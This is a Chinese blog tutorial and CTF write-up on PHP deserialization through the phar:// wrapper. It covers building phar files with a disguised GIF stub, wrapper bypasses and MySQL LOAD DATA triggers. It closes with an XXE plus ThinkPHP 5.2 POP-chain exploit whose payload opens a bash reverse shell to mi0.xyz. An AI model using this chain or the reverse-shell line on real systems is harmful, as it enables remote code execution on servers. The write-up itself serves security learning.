mysql 反序列化函数_利用phar协议造成php反序列化

0x00前言

在php中反序列漏洞,形成的原因首先需要一个unserialize()函数来处理我们传入的可控的序列化payload。但是如果对unserialize()传入的内容进行限制,甚至就不存在可利用的unserialize()函数的时候,就可以借助phar协议触发反序列化操作了

0x01 构造有反序列化payload的phar文件

首先,phar是一种php语言的文件的后缀,所以生成phar文件要用到php语言,需要在php.ini中开启相应的配置

phar.readonly = Off

153b678c364ddf147d7a38b19f2ae905.png

生成phar文件的代码如下

//反序列化payload构造

class TestObject {

}

@unlink("phar.phar");

$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

//设置stub,GIF89a可以改成其他的字段,绕过文件头检验,但必须以 __HALT_COMPILER(); ?> 结尾

$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");

//将反序列化的对象放入该文件中

$o = new TestObject();

$o->data='just a test';

$phar->setMetadata($o);

//phar本质上是个压缩包,所以要添加压缩的文件和文件内容

$phar->addFromString("test.txt", "test");

$phar->stopBuffering();

?>

尝试一下,生成带有payload的文件

320db3427c0bb75d718067ac570e0617.png

简单的说下phar文件格式

phar文件头的识别格式是xxx + <?php __HALT_COMPILER(); ?>,只有这样的格式才能被识别为phar文件

phar是压缩文件,那么压缩文件的信息就会存在第二段manifest describing,这一段是放序列化的poc

压缩的文件的内容被存在第三段,也就是上面payload的中的text.txt

数字签名为该phar的第四段

了解phar文件格式,主要注意的点有2个,文件头的合法性和压缩文件信息处可自定义我们的payload

0x02 可触发phar协议的函数

利用一个漏洞,最初要知道payload从哪里传入,是哪个函数造成的,而php函数中支持伪协议的有很多,下面这张表就是能解析phar协议的函数(用一下别人的图)

250b8d034b739025b65fb7112605fbd3.png

这些函数里面可以使用phar协议,当然还有常用的文件包含的几个函数 include、include_once、requrie、require_once

做一个简单的测试

class TestObject{

function __destruct(){

echo $this->data;

}

}

include "phar://phar.phar/test.txt";

?>

b5c2db1ef2418ba58b75bb424de69467.png

同理,使用unlink()函数试试

class TestObject{

function __destruct(){

echo $this->data;

}

}

unlink("phar://phar.phar/test.txt");

?>

可以看到,还是执行了,但是有warning说php.ini中的配置为phar.readonly(我是在虚拟机中开启了phar.readonly =Off生成的payload ,我本地是没有开的)

d0a94f02057fa0678c768fd43b763c16.png

再测试下要有写权限的file_put_contents()函数

class TestObject{

function __destruct(){

echo $this->data;

}

}

file_put_contents("phar://phar.phar/test.txt","test.txt");

?>

结果是执行不了

b5001f4955c62033d78fb5432ea2f826.png

因此虽然某些函数能够支持phar://的协议,但是如果目标服务器没有关闭phar.readonly时,就不能正常执行反序列化操作

在禁止phar开头的情况下的替代方法

compress.zlib://phar://phar.phar/test.txt

compress.bzip2://phar://phar.phar/test.txt #可能是我本地环境问题,我本地试报错找不到该协议

php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt

虽然会报warning,但是还是会执行

0x03 Mysql触发反序列化

php调用mysql的语句LOAD DATA LOCAL INFILE导入phar文件也能触发phar中的反序列化语句

首先说下LOAD DATA LOCAL INFILE这条语言,这条语句是用来通过文件批量给表里面insert数据的操作,完整的语句如下

LOAD DATA LOCAL INFILE '1.txt' into table user;

b168642e2c0fe92de2790cf61b0f5756.png

那么试试效果

788fdfb7bfcbaa5465ff4f0f722439bb.png

7b1b3af9f6b097430e41265f4e2e15f6.png

这就是这条命令的正常用法

那么如果这个文件是利用了phar协议处理了的phar文件,格式如下

LOAD DATA LOCAL INFILE 'phar://phar.phar/test.txt' into table user;

尝试一下,但是提示warning,LOAD DATA LOCAL INFILE forbidden

这是因为还要修改mysql中的my.ini中的配置,因此可以看出这种利用前提不是默认的,需要人为定义,添加下面的信息

local-infile=1

secure_file_priv=""

90382df4926403f4a4c1dedeb75e1c26.png

除了在my.ini中配置以外,还有个坑,在php.ini中需要将mysqli.allow_local_infile前面的注释去掉

bff925f3c932725f9b61e236148efa57.png

万事具备,写好代码

class TestObject{

function __destruct(){

echo $this->data;

}

}

//include "php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt";

$m = mysqli_init();

mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);

$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'ctf', 3306);

$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://phar.phar/test.txt\' INTO TABLE user');

?>

尝试一下,能够触发

381e4b8bf8aca4751ea821c00019a73b.png

甚至如果存在php语言写的mysql客户端可以任意连接远程mysql服务器的情况下

这种时候可以利用Rogue-MySql-Server去读对方的任意文件

但是去读文件这个操作,如果使用phar协议,那么依然可以触发反序列化,当然前提是你能把phar文件传上去

cae2dafa9d49b4c887e53896e4d18af8.png

0x04 通过XXE触发反序列化

本来在总结这道知识点的时候,学长发给我一道红帽CTF的题,刚好涉及到这方面的知识,运用的是XXE中使用phar协议来触发反序列化,并且系统使用thinkphp 5.2,有公开的命令执行的pop链,拿shell,之后拿flag的一道题。

直接看题

413d94411fecb5c0b3e65adae177eb96.png

随便输入,登录成功,进去后有一个输入框,有一个文件上传点,提示只能上传xml

17adbc4188fd9e363eb9f2fe87cbf4de.png

输入框,输入后发现是传输的xml实体,于是试着利用XXE

0f23264afbd448321aff8a0508a95d7b.png

查看下/etc/passwd

]>

&c;test2

11e870a8724dcab019d736b982fad764.png

因为xxe能用file协议读,也可以用php://filter协议读,那么这个地方也可以使用phar://协议了

访问一个不存在的链接,发现使用的是thinkphp 5.2,这个版本是有反序列化命令执行的pop链的

56edcf774016200d4d7b149d9acfd18f.png

首先上传上去,题目会根据你登录的用户名和密码分配一个sandbox,

3db8a97ad7d5a2d19f00243dd1946fe9.png

这里用NU1L战队的2019举办的N1CTF的反序列化pop链,然后我改了改

我这里第一步往我自己的sandbox下写反弹shell的sh脚本

第二步,使用bash执行这个sh脚本

namespace think\process\pipes {

class Windows

{

private $files;

public function __construct($files)

{

$this->files = array($files);

}

}

}

namespace think\model\concern {

trait Conversion

{

protected $append = array("Smi1e" => "1");

}

trait Attribute

{

private $data;

private $withAttr = array("Smi1e" => "system");

public function get($system)

{

$this->data = array("Smi1e" => "$system");

}

}

}

namespace think {

abstract class Model

{

use model\concern\Attribute;

use model\concern\Conversion;

}

}

namespace think\model{

use think\Model;

class Pivot extends Model

{

public function __construct($system)

{

$this->get($system);

}

}

}

namespace {

$Conver = new think\model\Pivot("echo 'bash -i >& /dev/tcp/mi0.xyz/2333 0>&1' > /tmp/uploads/d323c1de19517cb177f94ee3a4dfb0bb/20191111/test.sh");

//$Conver = new think\model\Pivot("bash /tmp/uploads/d323c1de19517cb177f94ee3a4dfb0bb/20191111/test.sh");

$payload = new think\process\pipes\Windows($Conver);

@unlink("phar.phar");

$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub

$phar->setMetadata($payload); //将自定义的meta-data存入manifest

$phar->addFromString("test.txt", "test"); //添加要压缩的文件

//签名自动计算

$phar->stopBuffering();

echo urlencode(serialize($payload));

}

?>

889e7073451690cf2e4c8b34bb9df78e.png

生成phar文件,改后缀为xml上传

85a7c871deaec9b92dd17f5ae2be26ae.png

因为phar协议,不管什么后缀,只要文件本身符合phar文件格式,就能正确执行,利用XXE触发phar://协议

25efaa3d6c673858b587b69198d93bff.png

第二步写执行test.sh文件,再次上传个exp,利用XXE去访问

a4a36f8261eb228ff6254a7e505264d8.png

服务器成功拿到shell

acb8119fc070c6cc2913e9f539783af5.png

这里直接cat /flag被禁止了,直接运行./readfile不行

60509d02f28d6da446fa1cbabe601191.png

之后就是*CTF 2019的mywebsql 题目最后一步利用php脚本处理交互式的二进制文件交互

$descriptorspec = array(

0 => array("pipe", "r"), // 标准输入,子进程从此管道中读取数据

1 => array("pipe", "w"), // 标准输出,子进程向此管道中写入数据

2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件

);

$cwd = '/tmp';

$env = array('some_option' => 'aeiou');

$process = proc_open('/readflag', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {

$output1 = fread($pipes[1],1024);

var_dump($output);

$output2 = fread($pipes[1],1024);

var_dump($output);

$output3 = fread($pipes[1],1024);

var_dump($output);

$calc = trim($output2);

$an = eval("return $calc;");

var_dump($an);

fwrite($pipes[0], (string)$an."\n");

$output = stream_get_contents($pipes[1]);

var_dump($output);

$return_value = proc_close($process);

echo "command returned $return_value\n";

}

?>

当然题目已经有很多师傅上传上去的脚本了,直接执行即可

fdd244e8d4715a2bf61744f70507f3d1.png

我不清楚是不是我服务器的问题?但我学长可以正常使用该脚本拿到flag (orz)

0aeb0bf0d411d98350ddcefb0dcb0120.png

之后又尝试了下,挺玄学的?

87b6c3c5e9629056009757ee1e4646ea.png

0xff 参考链接

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值